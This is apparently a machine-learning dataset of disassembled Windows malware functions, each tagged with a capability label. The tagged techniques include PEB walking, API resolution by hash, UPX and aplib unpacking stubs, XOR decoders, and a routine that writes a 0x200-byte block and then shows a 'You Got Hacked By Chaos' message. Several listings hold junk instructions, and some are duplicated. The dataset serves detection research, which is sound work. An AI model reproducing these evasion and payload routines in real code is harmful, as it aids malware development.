joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100252bf
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10025595
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x738d27ba
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x738c9780
push 0xffffffffffffffff
call fcn.1001c4bf
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10025329
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10025341
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x10025589
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1002555d
Function at 0x10034d8f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10034db1
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10034db1
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10034db1
ret
cmp word [ebx + 4], 0x14c
jne 0x10034db1
test word [ebx + 0x16], 2
je 0x10034db1
test word [ebx + 0x16], 0x100
je 0x10034db1
cmp word [ebx + 0x18], 0x10b
jne 0x10034db1
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10034db1
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10034e3d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10034dd1
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001bd1c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10034db1
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10034e3d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10034db1
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10034db1
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10034db1
ret
cmp word [ebx + 4], 0x14c
jne 0x10034db1
test word [ebx + 0x16], 2
je 0x10034db1
test word [ebx + 0x16], 0x100
je 0x10034db1
cmp word [ebx + 0x18], 0x10b
jne 0x10034db1
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10034db1
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10034e3d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10034dd1
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001bd1c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10034db1
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10034ef4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10034f4d
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10034ef4
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10034f03
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043aba6
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10034f54
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001bdca
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10034ff3
add edi, 4
add eax, 2
dec ecx
jne 0x10034f39
call 0x10034fa0
loope 0x10034f96
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10034ff0
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10035001
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10034fb4
cmp eax, ecx
ja 0x10034fb4
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1003503e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10035034
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1001c2a9
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10034f03
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10034f4d
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10034ef4
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10034f03
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043aba6
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10034f54
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001bdca
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10034ff3
add edi, 4
add eax, 2
dec ecx
jne 0x10034f39
call 0x10034fa0
loope 0x10034f96
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10034ff0
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10035001
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10034fb4
cmp eax, ecx
ja 0x10034fb4
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1003503e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10035034
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1001c2a9
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x897058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8971a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x89707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x89706a
add dl, dl
jne 0x897089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8970dc
xor eax, eax
add dl, dl
jne 0x897096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x89717d
add dl, dl
jne 0x8970a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8970d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x897075
mov eax, 1
add dl, dl
jne 0x8970ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8970e1
sub eax, ebx
mov ebx, 1
jne 0x897128
mov ecx, 1
add dl, dl
jne 0x89710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x897119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x897105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x89713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x89714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x897136
cmp eax, 0x7d00
jae 0x89716d
cmp eax, 0x500
jb 0x897168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
cmp eax, 0x7f
ja 0x897170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x89719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x897075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x12d258c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x12d2596
pushal
call 0x12d259c
pop ebp
sub ebp, 0x10
sub ebp, 0xed258c
jmp 0x12d25b2
mov eax, 0xed258c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f2
mov edx, 0xfa34064f
xor byte [eax], dl
inc eax
dec ecx
jne 0x12d25c9
jmp 0x12d25dc
les eax, [edx + 0x4f73c6c4]
dec edi
dec edi
into
invalid
Function at 0x70d5395c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x70d53966
pushal
call 0x70d5396c
pop ebp
sub ebp, 0x10
sub ebp, 0x3a395c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x70d53990
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x70d53999
mov eax, 0x3a395c
add eax, ebp
add eax, 0x63
mov ecx, 0x5f7
mov edx, 0xba9ffa1
xor byte [eax], dl
inc eax
dec ecx
jne 0x70d539b0
jmp 0x70d539c3
sub ch, byte [edx + ebp + 0x28]
popfd
mov eax, dword [0x6020a1a1]
pop ecx
mov eax, dword [0x6ca2a1a1]
sbb dword [edi + 0x1ba1a1a1], esp
mov dword [ecx + 0x4356a1a1], esp
mov byte [0xad202a69], al
mov eax, dword [0x64a2a1a1]
int1
int1
leave
leave
invalid
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x402108
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x200
push 0x402180
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push str.LOL_
push str.You_Got_Hacked_By_Chaos_nEnjoy_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401070
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4018a0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4018df
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4018df
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4018df
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4018df
cmp dword [ecx + 0x74], 0xe
jbe 0x4018df
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x9fe058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009fe1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9fe07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe06a
add dl, dl
jne 0x9fe089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe0dc
xor eax, eax
add dl, dl
jne 0x9fe096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe17d
add dl, dl
jne 0x9fe0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9fe0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9fe075
mov eax, 1
add dl, dl
jne 0x9fe0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe0e1
sub eax, ebx
mov ebx, 1
jne 0x9fe128
mov ecx, 1
add dl, dl
jne 0x9fe10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9fe13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe136
cmp eax, 0x7d00
jae 0x9fe16d
cmp eax, 0x500
jb 0x9fe168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
cmp eax, 0x7f
ja 0x9fe170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9fe19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9fe075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x6db4f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x198000]
push edi
or ebp, 0xffffffff
jmp 0x6db512
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6db519
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6db508
mov eax, 1
add ebx, ebx
jne 0x6db52b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6db520
jne 0x6db53c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6db520
xor ecx, ecx
sub eax, 3
jb 0x6db550
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6db5c2
mov ebp, eax
add ebx, ebx
jne 0x6db55b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x6db568
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x6db58c
inc ecx
add ebx, ebx
jne 0x6db578
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6db56d
jne 0x6db589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6db56d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6db5ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6db59d
jmp 0x6db50e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6db5ac
add edi, ecx
jmp 0x6db50e
pop esi
mov edi, esi
mov ecx, 0x3583
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6db5ca
cmp byte [edi], 0x2c
jne 0x6db5ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6db5cf
lea edi, [esi + 0x2d8000]
mov eax, dword [edi]
or eax, eax
je 0x6db647
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2f04e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2f0604]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6db5fc
mov ecx, edi
jns 0x6db62b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2f060c]
or eax, eax
je 0x6db641
mov dword [ebx], eax
add ebx, 4
jmp 0x6db619
call dword [esi + 0x2f0608]
mov ebp, dword [esi + 0x2f0610]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6db67b
sub esp, 0xffffff80
jmp 0x4805c5
Function at 0x405029
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x405069
mov eax, 0
jmp 0x40513a
cmp dword [ebp + 0x14], 0
je 0x40507d
mov eax, 0x100
jmp 0x405082
mov eax, 0x200
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x18]
push 2
mov ebx, 0xc8
call fcn.00414e30
add esp, 0x1c
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x4050c8
add eax, 8
push eax
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4050ed
mov eax, 0
jmp 0x40513a
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebx]
test eax, eax
je 0x40510b
add eax, 8
push eax
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop
nop
mov dword [ebp - 8], eax
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
cmp dword [ebp - 8], 0
mov eax, 0
sete al
jmp 0x40513a
mov esp, ebp
pop ebp
ret 0x14

Function at 0x40681a
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x406861
cmp ebx, 0x20
je 0x406861
cmp ebx, 0xffffffe0
je 0x406861
jne 0x40686a
add eax, 1
cmp esi, eax
je 0x406877
jne 0x406846
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x40687b
jne 0x406842
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4
Function at 0x40688f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x406950
test ecx, ecx
je 0x406950
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x406950
test ebx, ebx
je 0x406950
mov ebx, eax
add ebx, edx
je 0x406950
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x406950
cmp dword [edx + eax + 0x14], 0
je 0x406950
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x406950
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x406940
test dl, dl
je 0x40693c
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x406940
add edi, 2
add esi, 2
test dl, dl
jne 0x406920
xor eax, eax
jmp 0x406945
sbb eax, eax
or eax, 1
test eax, eax
je 0x40695c
inc ebp
cmp ebp, dword [esp + 4]
jb 0x40690d
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x4078bd
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4078eb
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4078e2
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4078da
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x40790c
mov esp, ebp
pop ebp
ret

Function at 0x407910
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x40797c
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x4079a9
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x407998
xor ecx, eax
xor edx, ebx
dec edi
jne 0x407989
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4079cf
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x407970
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4079fb
mov esp, ebp
pop ebp
ret 0xc
Function at 0x414b80
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x414c12
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x414c04
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x414bfc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x414bc5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x414ea0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x414ebe
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x414eb3
pop esi
ret